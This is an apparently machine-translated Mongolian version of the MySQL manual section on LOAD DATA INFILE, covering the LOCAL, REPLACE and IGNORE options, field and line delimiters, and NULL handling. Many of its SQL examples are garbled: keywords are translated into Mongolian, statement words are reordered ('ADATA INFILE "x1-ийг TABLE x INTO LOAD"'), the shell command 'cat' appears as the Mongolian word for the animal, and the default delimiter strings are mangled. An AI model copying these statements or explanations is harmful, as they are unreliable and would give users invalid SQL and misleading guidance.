Та мөн mysql импортын хэрэгслийг ашиглан өгөгдлийн файлуудыг ачаалж болно. Энэ нь LOAD data INFILE мэдэгдлийг сервер рүү илгээх замаар ажилладаг. --local сонголт нь mysqlimport хэрэглүүрийг клиент хостоос өгөгдлийн файлыг уншихад хүргэдэг. Хэрэв үйлчлүүлэгч болон сервер нь шахсан протоколыг дэмждэг бол удаан сүлжээн дэх гүйцэтгэлийг сайжруулахын тулд -compress сонголтыг зааж өгч болно.
Хэрэв LOW_PRIORITY түлхүүр үгийг зааж өгсөн бол LOAD DATA мэдэгдлийг бусад бүх үйлчлүүлэгч уншиж дуустал хойшлуулна.
Хэрэв CONCURRENT түлхүүр үг нь зэрэгцээ оруулах нөхцөлийг хангасан MyISAM хүснэгтээр тодорхойлогдвол (өөрөөр хэлбэл файлын дунд чөлөөтэй блок байхгүй) бусад хэлхээнүүд нь LOAD-тай зэрэгцэн хүснэгтээс өгөгдлийг татаж авах боломжтой болно. DATA хийгдэж байна. Энэ сонголтыг ашиглах нь хүснэгтэн дээр өөр хэлхээ ажиллахгүй байсан ч LOAD DATA-д бага зэрэг нөлөөлнө.
Хэрэв LOCAL түлхүүр үгийг зааж өгсөн бол энэ нь холболтын клиент талд нөлөөлнө.

  1. Хэрэв LOCAL гэж заасан бол файлыг клиент хост дээрх клиент программ уншиж сервер рүү илгээнэ.
  2. Хэрэв LOCAL гэсэн үгийг заагаагүй бол татаж авсан файл нь серверийн хост дээр байрлах ёстой бөгөөд сервер шууд уншина.

LOCAL нь MySQL 3.22.6 болон түүнээс хойшхи хувилбаруудад боломжтой.
Аюулгүй байдлын үүднээс сервер дээр байрлах текст файлуудыг унших үед файлууд нь өгөгдлийн санд байрлах эсвэл хүн бүр унших боломжтой байх ёстой. Нэмж дурдахад, LOAD DATA-г серверийн файлуудтай ашиглахын тулд та FILE эрхтэй байх ёстой.
LOCAL сонголтоор татаж авах нь серверт татаж авсан файлууд руу шууд хандах боломжийг олгохоос арай удаан байдаг, учир нь энэ тохиолдолд файлын агуулгыг клиент-сервер холболтоор дамжуулан сүлжээгээр дамжуулдаг. Нөгөө талаас, энэ тохиолдолд танд FILE эрх хэрэггүй.
MySQL 3.23.49 ба MySQL 4.0.2 (Windows дээр 4.0.13) тул LOCAL нь зөвхөн үйлчлүүлэгч болон сервер хоёулаа зөвшөөрвөл л ажиллана. Жишээлбэл, mysqld-г -local-inf ile=0 сонголтоор эхлүүлсэн бол LOCAL ажиллахгүй.

Хэрэв та LOAD DATA ашиглан програмын хоолойноос унших шаардлагатай бол дараах аргыг ашиглаж болно.
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
муур< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "ADATA INFILE "x1-ийг TABLE x INTO LOAD" x
Хэрэв та 3.23.25-аас өмнөх MySQL хувилбартай ажиллаж байгаа бол энэ аргыг зөвхөн LOAD DATA LOCAL INFILE-д ашиглах боломжтой.
Хэрэв танд 3.23.24-с өмнөх MySQL хувилбар байгаа бол та LOAD DATA INFILE мэдэгдлийг ашиглан FIFO-оос унших боломжгүй болно. Хэрэв та FIFO-с (жишээлбэл, gunzip гаралтаас) унших шаардлагатай бол оронд нь LOAD DATA LOCAL INFILE-г ашиглана уу.
Файлын системээсээ файл хайхдаа сервер дараах дүрмийг баримталдаг.

  1. Хэрэв үнэмлэхүй зам өгөгдсөн бол сервер үүнийг байгаагаар нь ашиглана.
  2. Хэрэв нэг буюу хэд хэдэн тэргүүлэх бүрэлдэхүүн хэсэгтэй харьцангуй замыг зааж өгсөн бол сервер өөрийн өгөгдлийн лавлахтай холбоотой файлуудыг хайдаг.
  3. Хэрэв тэргүүлэгч зам бүрэлдэхүүнгүй файлын нэрийг зааж өгсөн бол сервер нь өгөгдлийн сангийн өгөгдлийн сангаас файлыг хайдаг.

Эдгээр дүрмүүд нь ./myfile.txt нэртэй файлыг серверийн өгөгдлийн сангаас, харин myfile,txt нэртэй файлыг өгөгдлийн сангийн өгөгдлийн сангаас уншдаг болохыг анхаарна уу. Жишээлбэл, дараах LOAD DATA INFILE мэдэгдэл нь dbl-ийн өгөгдлийн лавлахаас data.txt файлыг уншдаг, учир нь мэдэгдэл нь db2 руу өгөгдлийг ачаалж байгаа ч dbl нь одоогийн мэдээллийн сан юм:
mysql>ХЭРЭГЛЭЭ dbl;
mysql> DATA INFILE "data.txt"-г TABLE-Д АЧААХ db2.my_table;
REPLACE болон IGNORE түлхүүр үгсийн удирдлага нь одоо байгаа өвөрмөц түлхүүрүүдийг утгаар нь хуулбарлах оролтын мөрүүдтэй ажилладаг.
Хэрэв REPLACE гэж заасан бол оролтын мөрүүд нь одоо байгаа мөрүүдийг (өөрөөр хэлбэл хүснэгтийн одоо байгаа мөрүүдтэй ижил үндсэн эсвэл өвөрмөц түлхүүр утгатай мөрүүдийг) орлоно. Syntax-ийг солихыг үзнэ үү
Хэрэв IGNORE гэж заасан бол ижил үндсэн эсвэл өвөрмөц түлхүүр утгатай одоо байгаа мөрүүдийн давхардсан оролтын мөрүүдийг алгасах болно. Хэрэв аль нэг сонголтыг заагаагүй бол үйлдэл нь локал түлхүүр үг заасан эсэхээс хамаарна. Хэрэв LOCAL байхгүй бол давхардсан түлхүүр илэрсэн тохиолдолд алдаа гарч, текст файлын үлдсэн хэсгийг үл тоомсорлодог. Хэрэв LOCAL байгаа бол анхдагч үйлдэл нь IGNORE гэж заасантай адил байна. Учир нь үйл ажиллагаа явагдаж байх үед сервер файл дамжуулалтыг зогсоох боломжгүй байдаг.
Хэрэв та өгөгдөл ачаалах үед гадаад түлхүүрийн хязгаарлалтыг үл тоомсорлохыг хүсвэл LOAD DATA-г ажиллуулахын өмнө SET FOREIGN_KEY_CHECKS=0 мэдэгдлийг гаргаж болно.
Хэрэв та хоосон MyISAM хүснэгт дээр LOAD DATA-г ажиллуулбал бүх өвөрмөц бус индексүүд нь тусдаа ажлын байранд (REPAIR TABLE-ийн хувьд) үүсгэгддэг. Энэ нь ихэвчлэн олон индекстэй үед LOAD DATA-г илүү хурдан болгодог. Энэ нь ихэвчлэн маш хурдан ажилладаг боловч зарим онцгой тохиолдолд та индексийг ачаалахаасаа өмнө ALTER TABLE... DISABLE KEYS-ээр идэвхгүй болгосноор илүү хурдан үүсгэж болно.

файлыг хүснэгтэд оруулах, индексүүдийг дахин үүсгэж, ALTER TABLE ашиглан идэвхжүүлэх... Ачаалалт дууссаны дараа ТҮЛХҮҮРИЙГ ИДЭВХЖҮҮЛ.
LOAD DATA INFILE нь SELECT...INTO OUTFILE-д нэмэлт юм. SELECT синтаксыг үзнэ үү Хүснэгтээс файл руу өгөгдөл бичихийн тулд SELECT... INTO OUTFILE-г ашиглана уу. Файлаас өгөгдлийг хүснэгтэд буцааж уншихын тулд LOAD DATA INFILE-г ашиглана уу. FIELDS болон LINES бүтцийн синтакс нь хоёр мэдэгдлийн хувьд ижил байна. Эдгээр бүтэц нь хоёулаа сонголттой боловч хоёуланг нь зааж өгсөн бол талбарууд LINES-ийн өмнө байх ёстой.
Хэрэв FIELDS бүтцийг зааж өгсөн бол дор хаяж нэг параметр байх ёстой гэсэн шаардлагыг эс тооцвол түүний бүх параметрүүд (ТӨГСГӨГДСӨН, ТҮГЭЭСЭН, ЗУРГАЛСАН) мөн сонголттой байна.
Хэрэв FIELDS бүтцийг заагаагүй бол өгөгдмөл нь:
"tf CLOOSED" -ЭЭР "ЗУГТСАН" ТАЛААР ТҮГСГЭЭД БАЙНА.
Хэрэв LINES бүтцийг заагаагүй бол өгөгдмөл нь дараах байдалтай байна:
"n! ЭХЛҮҮЛЭГЧ"-ээр дуусгавар болсон мөрүүд
Өөрөөр хэлбэл оролтыг унших үед LOAD DATA INFILE-ийн үндсэн үйлдэл нь:

  1. Мөрийн эхэнд мөр тусгаарлагчийг хайж олоорой.
  2. Ямар ч мөрийн угтварыг бүү орхи.
  3. Таб тэмдэгтүүд дээр тулгуурлан мөрийг талбар болгон хуваах.
  4. Талбаруудыг иш татна гэж бүү найд.
  5. Талбарын утгын нэг хэсэг болох tab тэмдэгт, мөрийн хангамж эсвэл "\" тэмдэгтийн өмнө \ гарч ирэхийг шууд утга болгон тайлбарлана уу.

Эсрэгээр, SELECT... INTO OUTFILE нь анхдагчаар дараах байдлаар ажилладаг:

  1. Талбаруудын хооронд таб тэмдэгтүүдийг бичнэ.
  2. Талбарын утгыг ишлэлээр хүрээлдэггүй.
  • Талбарын утгууд доторх цонх, шинэ мөр эсвэл "\"-г тодруулахын тулд *"-г ашигладаг.
  • Мөрийн төгсгөлд шинэ мөрийн тэмдэгт бичнэ.
FIELDS ESCAPED BY "W гэж бичихэд нэг урвуу зураасыг унших шаардлагатай утгуудын хувьд хоёр урвуу зураасыг зааж өгөх шаардлагатайг анхаарна уу.
Тэмдэглэл дээр!
Хэрэв та Windows систем дээр текст файл үүсгэсэн бол Windows программууд ихэвчлэн эдгээр хоёр тэмдэгтийг мөр тусгаарлагч болгон ашигладаг тул файлыг зөв уншихын тулд "rn TERMINATED BY" гэсэн мөрийг зааж өгөх хэрэгтэй. WordPad зэрэг зарим программууд " тэмдэгт" ашиглаж болно. r"-г мөр тусгаарлагч болгон сонгоно. Ийм файлуудыг уншихын тулд "r"-ээр ТӨГСГӨЛСӨН МӨРӨӨГ ашиглана.
Хэрэв таны уншиж буй файлын бүх мөрөнд үл тоомсорлох нийтлэг угтвар байгаа бол "ЭХЛҮҮЛЭГЧДҮҮДЭЭ"-г ашиглана уу. string_prefixesЭнэ угтварыг алгасахын тулд. Хэрэв мөрөнд угтвар байхгүй бол түүнийг бүхэлд нь алгасна.

ТОГТОХ сонголт тоо хэмжээ LINES нь файлын эхэнд заасан тооны мөрийг үл тоомсорлоход хэрэглэгддэг. Жишээлбэл, та баганын нэрийг агуулсан эхний мөрийг алгасахдаа IGNORE I LINES-ийг ашиглаж болно:
mysql> ӨГӨГДЛИЙН INFILE "/tmp/test.txt" -> INTO TABLE тестийг ачаалах 1 МӨРИЙГ ҮЗҮҮЛЭХ;
Та SELECT... INTO OUTFILE-г LOAD DATA INFILE-тэй хамт өгөгдлийн сангаас файлд бичиж, дараа нь уншаад өгөгдлийн санд дахин ачаалах үед хоёр мэдэгдлийн мөр болон талбарын удирдлагын сонголтууд ижил байх ёстой. Үгүй бол LOAD DATA INFILE нь текст файлын агуулгыг зөв тайлбарлах боломжгүй болно. Та SELECT...INTO OUTFILE командыг ашиглан өгөгдлийг текст файлд гаргаж, талбаруудыг таслалаар тусгаарласан гэж бодъё:
mysql> СОНГОХ* OUTFILE INTO "data.txt" -> ТУСГАЙ ТАЛБАЙ," -> FROM table2;
Таслалаар тусгаарлагдсан файлыг буцааж уншихын тулд үүнийг хийх зөв арга нь:
mysql> ӨГӨГДЛИЙН INFILE "data.txt1-г ХҮСНЭГТ хүснэгтэд 2-т АЧААРАЙ -> ТҮГЭЭСЭН ТАЛБУУДЫГ
Хэрэв та үүнийг доорх мэдэгдлээр уншихыг оролдвол LOAD DATA INFILE нь талбарын утгуудын хооронд таб тэмдэгтүүдийг хайх тул ажиллахгүй.
mysql> ӨГӨГДЛИЙН INFILE "data.txt"-г Хүснэгт2-д АЧААРАЙ -> "t"-ээр дуусгавар болсон талбарууд;
Хамгийн их магадлалтай үр дүн нь оролтын мөрийг нэг талбар болгон тайлбарлах явдал юм.
LOAD DATA INFILE-г мөн гадаад эх сурвалжаас файлуудыг уншихад ашиглаж болно. Жишээлбэл, файл нь таслалаар тусгаарлагдсан, давхар хашилтанд орсон талбаруудтай байж болно. Хэрэв файлын мөрүүдийг шинэ мөрийн тэмдэгтээр тусгаарласан бол файлыг ачаалахын тулд мөр, баганын хязгаарлагчийн тохиргоог юу хийх ёстойг дараах жишээн дээр харуулав.
mysql> ӨГӨГДЛИЙН INFILE "data.txt"-г ХҮСНЭГТТЭЙ АЧААРАЙхүснэгтийн нэр-> 1,1-ЭЭР ТӨГСГӨЛСӨН ТАЛБАРЫГ "" -ДЭЭР ХАССАН -> МӨРӨӨ ТӨГСГӨСГҮЙ БАЙНА."n";
Мөр болон баганын зааглагчийг зааж өгсөн аливаа сонголтууд нь хоосон мөрүүдийг (") аргумент болгон авч болно. Хэрэв аргументууд нь хоосон мөр биш бол ХААСГАЛТЫН ТАЛБАЙ болон ЗАГССАН ТАЛБАРЫН утгууд ЗААВАЛ ижил байх ёстой. FIELDS Төгсгөлтэй OPTIONS BY аргументууд , ЭХЭЛСЭН МӨРӨӨ, ТӨГСГӨСГҮЙ МӨРӨН нь нэг тэмдэгтээс илүү урттай байж болно.Жишээ нь, мөрийн буцаалт/мөрийн тэжээлээр тусгаарлагдсан мөр бичих, эсвэл ийм мөр агуулсан файлуудыг уншихын тулд "rn"-ээр ТӨГСГӨЛСӨН МӨРИЙГ зааж өгнө.
%% тэмдэгттэй мөрөөр тусгаарлагдсан файлыг уншихын тулд та дараах зүйлийг хийж болно.
mysql> ХҮСНЭГТ онигоог ҮҮСГЭ
-> (a INT NOLL AUTO_INCREMENT PRIMARY KEY, -> хошигнол текст NULL БИШ);

mysql> ӨГӨГДЛИЙН INFILE "/tmp/jokes,txf-г ХҮСНЭГТИЙН онигоонд АЧААРАЙ -> "" -> "\n%%\n"-ээр дуусгавар болсон МӨРӨӨ (онигоо);
ХАСАГДСАН ТАЛБАЙ Удирдлагын талбар хязгаарлагч (хашилт). Гаралтад (SELECT... INTO OUTFILE), хэрэв та ЗААВАЛ ҮГИЙГ орхивол бүх талбарууд ENCLOSED BY-д заасан тэмдэгтээр хүрээлэгдэх болно. Ийм гаралтын жишээг (талбар тусгаарлагч болгон таслал ашиглан) доор үзүүлэв.
"1", "мөр", "100.20"
"2"," , таслал агуулсан мөр", "102.20"
"3","\" ишлэл агуулсан мөр","102.20"
"4"," \", ишлэл, таслал агуулсан мөр","102.20"
Хэрэв та ЗААВАЛ БОЛГОНГҮЙ гэж зааж өгвөл ENCLOSED BY тэмдэгтийг зөвхөн CHAR болон VARCHAR талбаруудыг иш татахад ашиглана.
1, "a string", 100.20
3,"\" ишлэл агуулсан мөр",102.20
4,"\" ишлэл, таслал агуулсан мөр",102.20
Талбарын утга доторх ENCLOSED BY-д заасан тэмдэгтийн өмнө ESCAPED BY-д заасан тэмдэгт байгааг анхаарна уу. Нэмж хэлэхэд, хэрэв та ESCAPED BY-д хоосон утгыг зааж өгвөл LOAD DATA INFILE-г зөв ачаалах боломжгүй файл үүсч болзошгүй.
Жишээлбэл, цуцлах тэмдэгтийг хоосон орхивол дээрх гаралт нь доорх шиг харагдах болно. Дөрөв дэх мөрөнд байгаа хоёр дахь талбарт эшлэлийн дараах таслал байгаа бөгөөд энэ нь (алдаатай) талбар тусгаарлагч болж харагдах болно.
1, "a string", 100.20
2," , таслал агуулсан мөр", 102.20
3," ишлэл агуулсан мөр",102.20
4," ишлэл, таслал агуулсан мөр",102.20
Таныг бичиж байх үед ENCLOSED BY тэмдэг хэрэв байгаа бол талбарын утгуудын төгсгөлөөс хасагдана. (OPTIONALY гэсэн үгийг зааж өгсөн эсэхээс үл хамааран энэ нь үнэн юм. Энэ үг нь оролтыг тайлбарлахад ямар ч нөлөө үзүүлэхгүй.) ESCAPED BY тэмдэгтийн өмнө ENCLOSED BY тэмдэгтүүд гарч ирснийг одоогийн талбарын утгын нэг хэсэг гэж тайлбарладаг.
Хэрэв талбар нь ENCLOSED BY тэмдэгтээр эхэлсэн бол тухайн тэмдэгтийн тохиолдлууд нь зөвхөн тэдний араас TERMINATED BY талбар эсвэл дараалал байвал тухайн талбарын утгыг дуусгавар болгож байна гэж тайлбарлана. Талбайн утга дотор ENCLOSED BY тэмдэгт гарч ирэх үед тодорхой бус байдлаас зайлсхийхийн тулд тэмдэгтийг давхардуулж болох бөгөөд тэмдэгтийн нэг жишээ гэж тайлбарлах болно. Жишээлбэл, хэрэв ENCLOSED BY "" гэж заасан бол ишлэлийг дараах байдлаар боловсруулна.
""ТОМ"" дарга" -> "ТОМ" дарга "ТОМ" дарга -> "ТОМ" дарга -> "ТОМ" дарга -> "ТОМ" дарга
FIELDS ESCAPED BY нь тусгай тэмдэгтүүдийг унших, бичихийг хянадаг. Хэрэв FIELDS ESCAPED BY аргумент хоосон биш бол гаралтын дараах тэмдэгтүүдийн угтвар болгон ашигладаг.

  1. Тэмдэгтээр зугтсан талбайнууд.
  2. Тэмдэгтээр хаагдсан талбайнууд.
  3. ЦАГСГАЛТАЙ ТАЛБАЙ, ТӨГСГӨЛӨГДСӨН МҮРГҮҮДИЙН дарааллын эхний ТҮР.
  4. ASCII 0 (цуцлах тэмдэгтийн дараа тэг байт биш ASCII "0" гэж бичдэг).

Хэрэв FIELDS ESCAPED BY тэмдэгт хоосон байвал ямар ч тэмдэгтийн өмнө гарах тэмдэгт байхгүй бөгөөд NULL нь \N биш харин NULL гэж гарна. Ялангуяа таны өгөгдлийн талбарын утгууд дээр дурдсан тэмдэгтүүдийг агуулж байгаа бол аргументыг хоосон орхих нь тийм ч сайн санаа биш байх.
Оруулах үед FIELDS ESCAPED BY хоосон биш бол утгын мөрөнд энэ тэмдэгт гарч ирвэл хасагдах ба дараах тэмдэгтийг талбарын утгын хэсэг болгон шууд утгаар нь уншина. Үл хамаарах зүйл нь "0" эсвэл "N" дараалал юм (SYS-PAGE-CONTENT эсвэл escape тэмдэгт нь "\" бол \N). Эдгээр дарааллыг ASCII NUL (null байт) ба NULL гэж тус тус тайлбарладаг. NULL-тэй ажиллах дүрмийг энэ хэсгийн сүүлд тайлбарласан болно.
"\" цуцлах синтаксийн талаарх дэлгэрэнгүй мэдээллийг Literal Values ​​хэсгээс авах боломжтой
Зарим тохиолдолд талбарууд болон мөрүүдийг удирдах сонголтууд хоорондоо харилцан үйлчилдэг:

  1. Хэрвээ ТӨГСГӨСГҮЙ МӨРӨНГИЙН ТАЛААР хоосон биш бол ТӨГСГӨЛСӨН МӨРӨӨ нь мөн мөр тусгаарлагч болно.
  2. ХЭРВЭЭ ТӨГСГӨЛСӨН ТАЛБАЙ БОЛОН ХАСАГДСАН ТАЛБАЙ ХОЁРЫГ НЬ хоосон байвал тогтмол мөрийн форматыг (хязгаарлагч байхгүй) АШИГЛАНА. Энэ формат нь талбаруудын хооронд ямар ч тусгаарлагч ашигладаггүй (гэхдээ мөр тусгаарлагчтай байж болно). Үүний оронд баганын утгыг баганын дэлгэцийн өргөнийг ашиглан бичиж, уншина. Жишээлбэл, хэрэв баганыг INT (7) гэж зарласан бол баганын утгыг долоон тэмдэгттэй талбарт бичнэ. Оруулсан үед баганын утгыг долоон тэмдэгт уншсанаар олж авна.

LINES TERMINATED BY нь мөрүүдийг салгахад ашиглагддаг хэвээр байна. Хэрэв мөр бүх талбарыг агуулаагүй бол үлдсэн баганад үндсэн утгыг нь онооно. Хэрэв танд мөрийн төгсгөгч байхгүй бол түүний утгыг 1" гэж тохируулсан байх ёстой. Энэ тохиолдолд текст файл нь мөр бүрийн бүх талбарыг агуулсан байх ёстой. Тогтмол шугамын урттай формат нь мөн тайлбарласны дагуу NULL утгыг зохицуулах асуудлыг авч үздэг. Олон байт тэмдэгтийн багц (жишээ нь, Юникод) ашигласан тохиолдолд тогтмол урттай форматын урт ажиллахгүй гэдгийг анхаарах хэрэгтэй.
NULL утгуудын зохицуулалт нь ашигласан FIELDS болон LINES сонголтуудаас хамаарч өөр өөр байна:

  1. Өгөгдмөл FIELDS болон LINES утгуудын хувьд NULL-ийг гаралтын хувьд \N гэж талбарын утга болгон бичих ба оролтын хувьд ижил \N утгыг NULL гэж уншина (ESCAPED BY тэмдэгтийг "\" гэж тохируулсан гэж үзвэл)-
  2. Хэрэв FIELDS ENCLOSED BY хоосон биш бол NULL гэсэн шууд утгыг агуулсан талбарыг NULL гэж уншина. Энэ нь NULL гэдэг үгийг тэмдэгтээр ХАМРАГДСАН ТАЛААР тусгаарлагдсан, утгыг "NULL" тэмдэгт мөр болгон уншдаг үеийнхээс ялгаатай.
  3. FIELDS ESCAPED BY хоосон байвал NULL нь NULL гэсэн үгээр бичигдэнэ.
  • Тогтмол тэмдэгт мөрийн урттай форматад (ТҮГЭЭСЭН ТАЛБАЙ болон ХАШИГТАЙ ТАЛБАЙ хоёулаа хоосон байх үед тохиолддог) хоосон мөр болгон NULL гэж бичнэ. Энэ нь хоёулаа хоосон мөр бичдэг тул файлд бичихдээ NULL утгууд болон хүснэгтийн хоосон мөрүүдийг ялгах боломжгүй болохыг анхаарна уу. Хэрэв та тэдгээрийг хооронд нь ялгах шаардлагатай бол тогтмол урттай форматыг ашиглахаас зайлсхий.
    LOAD DATA INFILE дэмждэггүй зарим тохиолдлуудыг доор харуулав.
    1. TEXT эсвэл BLOB багана байгаа үед тогтмол LENGTH мөрүүд (ТАЛБАРЫГ ТӨГСГӨЛӨГДӨГ БОЛОН nyctye-ээр хаагдсан талбарууд).
    2. Хэрэв та өөр нэгний угтвартай ижил хязгаарлагчийг зааж өгвөл LOAD DATA INFILE нь оролтын урсгалыг зөв тайлбарлахгүй байх магадлалтай. Жишээлбэл, дараах сонголт нь асуудал үүсгэх болно.

    "" ХАССАН "" ТАЛААР ТҮГСГЭЭД БАЙНА.

    • Хэрэв FIELDS ESCAPED BY хоосон бол FIELDS BY БУЮУ ТҮГСГЭГДСЭН МӨРӨӨР, АРДЫН ТҮМТЭЭР ТӨГСГӨСГӨН МӨРӨӨ гэсэн тэмдэгтүүдийг агуулсан талбарын утгууд нь LOAD DATA INFILE-г файл эсвэл мөрийг хэтэрхий эрт уншихаа болино. LOAD DATA INFILE нь талбар эсвэл мөрийн утга хаана дуусахыг зөв тодорхойлж чадахгүй байгаа тул энэ нь тохиолдох болно. Дараах жишээ нь persondata хүснэгтийн бүх баганыг ачаална: mysql> DATA INFILE "persondata.txt"-г TABLE хүний ​​өгөгдөлд АЧААХ;
      Анхдагчаар, LOAD DATA INFILE мэдэгдлийн төгсгөлд баганын жагсаалтыг өгөөгүй бол оролтын мөрөнд хүснэгтийн багана бүрийн талбарууд байх ёстой. Хэрэв та хүснэгтийн зөвхөн зарим баганыг ачаалахыг хүсвэл баганын жагсаалтыг зааж өгнө үү:
      mysql> ӨГӨГДЛИЙН INFILE "persondata.txt1-г ачаалах
      -> INTO TABLE хувийн мэдээлэл(coll,col2,...);
      Хэрэв оролтын файл дахь талбаруудын дараалал нь хүснэгтийн баганын дарааллаас өөр байвал та баганын жагсаалтыг зааж өгөх ёстой. Үгүй бол MySQL нь оролтын талбар болон хүснэгтийн баганын хооронд зураглал үүсгэх боломжгүй болно.
      Хэрэв оролтын файл мөрөнд хэтэрхий цөөн талбартай бол алга болсон баганууд нь анхдагч утгыг оноох болно. Өгөгдмөл утгыг CREATE TABLE синтакс дээр тайлбарласан болно
      Хоосон талбарын утгыг дутуу талбаруудаас өөрөөр тайлбарладаг.
      1. Мөрний төрлүүдийн хувьд баганад хоосон мөр оноогдсон байдаг.
      2. Тоон төрлүүдийн хувьд баганад 0 оноо өгсөн.
      3. Огноо, цагийн төрлүүдийн хувьд - баганыг харгалзах төрлөөр тохируулна
        "цэг" утга. Огноо ба цагийн төрлийг харна уу

      Эдгээр нь INSERT эсвэл UPDATE мэдэгдлийн эдгээр төрлийн баганад хоосон мөрийг тодорхой зааж өгсний үр дүнд үүсдэг ижил утгууд юм.
      TIMESTAMP төрлийн баганын утгыг зөвхөн NULL (өөрөөр хэлбэл \N) гэж тохируулсан эсвэл талбарын жагсаалт өгөгдсөн бол тухайн төрлийн баганыг талбарын жагсаалтаас хассан тохиолдолд л одоогийн огноо, цагийг тохируулна.

      LOAD DATA INFILE нь бүх оролтыг мөрийн оролт гэж үздэг тул INSERT мэдэгдэлд зөвшөөрөгдсөний дагуу та ENUM эсвэл SET баганад тоон утгыг ашиглах боломжгүй. Бүх ENUM эсвэл SET утгыг мөр болгон зааж өгөх ёстой!
      LOAD DATA INFILE мэдэгдэл дуусахад дараах форматтай мэдээллийн мөрийг буцаана.
      Бичлэг: Би устгасан: 0 Алгассан: 0 Анхааруулга: Тухай
      Хэрэв та C API-тай ажиллаж байгаа бол mysql_info() функцийг дуудаж энэ мэдэгдлийн талаарх мэдээллийг авах боломжтой.
      Зарим нөхцөлд гарч ирэх сэрэмжлүүлэг нь INSERT мэдэгдэлтэй утгыг оруулах үед гарч ирдэг анхааруулгатай адил байна (6.1.4-р хэсгийг үзнэ үү), LOAD DATA INFILE нь хэтэрхий бага эсвэл хэт олон талбар байгаа гэсэн анхааруулгыг үүсгэдэг. Анхааруулгыг хаана ч хадгалдаггүй, анхааруулгын тоог зөвхөн бүх зүйл сайн болсон гэсэн дохио болгон ашиглаж болно.
      MySQL 4.1.1-ээс хойш та SHOW WARNINGS-ийг ашиглан эхний max_error_count анхааруулгыг тухай мэдээлэл болгон жагсааж болно. ЮуАчаалахад алдаа гарсан. АНХААРУУЛГА ХАРУУЛАХ синтаксийг үзнэ үү
      MySQL 4.1.1-ээс өмнө зөвхөн анхааруулга өгсөн тоо нь ачаалал хэвийн бус байгааг илтгэж байсан. Хэрэв танд анхааруулга ирсэн бөгөөд яагаад гарч ирснийг мэдэхийг хүсвэл үүнийг хийх цорын ганц арга бол SELECT...INTO OUTFILE-г ашиглан хүснэгтийг өөр файл руу буулгаж, анхны оролтын файлтай харьцуулах явдал юм.

Зааварт шилжих: 1.1 MySQL гэж юу вэ? 1.2 Яагаад MySQL ашигладаг вэ? 1.3 MySQL хэр тогтвортой вэ? 1.4 MySQL хүснэгтүүд хэр том байж болох вэ? 1.5 MySQL, MySQL AB, MySQL-MAX: энэ юу вэ? 1.6 MySQL ямар үйлдлийн системүүд дээр ажилладаг вэ? 1.7 MySQL түгээлт 1.8 MySQL командын мөр 2.1 MySQL-ийн танилцуулга 2.2 MySQL серверт холбогдох 2.3 MySQL-д асуулга оруулах 2.4 өгөгдлийн сан үүсгэх, ашиглах 2.5 MySQL мэдээллийн сан үүсгэх MySQL өгөгдлийн санг үүсгэх MySQL.a 2.76 T Data-т MySQL. .8 Бүх өгөгдлийг сонгох a MySQL Хүснэгт 2.9 MySQL хүснэгтээс тодорхой мөрүүдийг сонгох 2.10 MySQL хүснэгтээс дурын багана сонгох 2.11 MySQL хүснэгтээс мөрүүдийг эрэмбэлэх 2.12 MySQL хүснэгтэд огноог тооцоолох 2.13 MySQL таарах Patter хүснэгтэд NULL утгуудтай ажиллах 2.14. SQL загварууд. 2.15 SQL загварт мөр тоолох. COUNT() функц 2.16 Олон хүснэгтийг нэг дор ашиглах SQL асуулга 2.17 MySQL өгөгдлийн сан болон хүснэгтүүдийн талаар мэдээлэл авах 2.18 MySQL-ийн нийтлэг асуулгын жишээ 2.19 MySQL баганын хамгийн их утга 2.20 Аль мөрөнд MySQL баганын хамгийн их хэмжээг хадгалах 2.21 MySQL бүлгийн баганын хамгийн их хэмжээ 2.22 MySQ-ийн хамгийн их утгыг агуулж байна. бүлгийн хувьд? 2.23 MySQL-д хэрэглэгчийн хувьсагчийг ашиглах 2.24 MySQL клиентийг багц горимд ашиглах 3.1 MySQL дахь мөрүүд 3.2 MySQL дэх тоо. MySQL дээр хэрхэн тоо бичих вэ? 3.3 MySQL дахь арван арвантэгдүгээр тоон утгууд MySQL өгөгдлийн санг нөөцлөх 4.2 MySQL дахь ХҮСНЭГТИЙН НӨӨЦЛӨЛТИЙН синтакс 4.3 MySQL дахь ХҮСНЭГТИЙН синтаксийг сэргээх MySQL 4.8 дахь yntax FLUSH MySQL дахь синтакс 4.9 K ILL in синтакс MySQL 4.10 SHOW синтакс MySQL 4.11 SHOW TABLE STATUS syntax in MySQL 4.12 Show STATUS syntax in MySQL 4.13 Show VARIABLES syntax in MySQL 4.14 back_log 4.15 characters, connect_times _key_write, delayed_insert_limit 4.17 delayed_insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4.20 хэл, log_bin, long_query_time 4.21 small_case_case_names, max_allowed_packet, max_binlog_cache_size 4.22, max_conctions, max_adslayn 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, netisam_max_extra_sоrt_file_size_size. 6 цэвэр_унших_хугацаа, цэвэр_дахин_тоолох_тоо, цэвэр_бичих_хугацаа 4.27 open_files_limit, порт, record_buffer 4.28 protocol_version, record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 залгуур, sort_buffer, skip_show_thread_thread_three хэмжээ, хүлээх_цаг хугацаа 4.32 MySQL-д PROCESSLIST синтаксийг SHOW 4.33 Syn taxi MySQL-д ТЭТГЭЛЭГЛЭЛИЙГ ХАРУУЛАХ 4.34 Синтакс MySQL 4.35 дээр ХҮСНЭГТ ҮЗҮҮЛЭХ MySQL 5.1 дахь баганын төрлүүд MySQL 5.2 MySQL дахь тоон төрлүүд 5.3 MySQL 5 дахь огноо, цагийн төрлүүд 5. Сонголтуудын файл my.cnf. 4 Y2K (2000) асуудал ба MySQL 5.5 дахь DATETIME, DATE, TIMESTAMP төрлийн MySQL-д 5.6 TIME төрөл MySQL-д 5.7 YEAR төрөл MySQL-д 5.8 CHAR болон VARCHAR мөрийн төрөл MySQL-д 5.9 BLOBring ба MyTEXT0-д ENUMQL төрөлд VARCHAR мөрт төрөл. MySQL-д 5.11 MySQL-д мөрийн төрөл SET 5.12 MySQL баганын зөв төрлийг сонгох 5.13 MySQL-д зориулж бусад DBMS-ийн баганын төрлийг ашиглах 5.14 MySQL баганын санах ойд тавигдах шаардлага 6.1 MySQL-ийг SELECT болон WHERE-д UnSQL-г ашиглах функцууд болон MySQL-ийн WHERE 6.2 Componty. MySQL 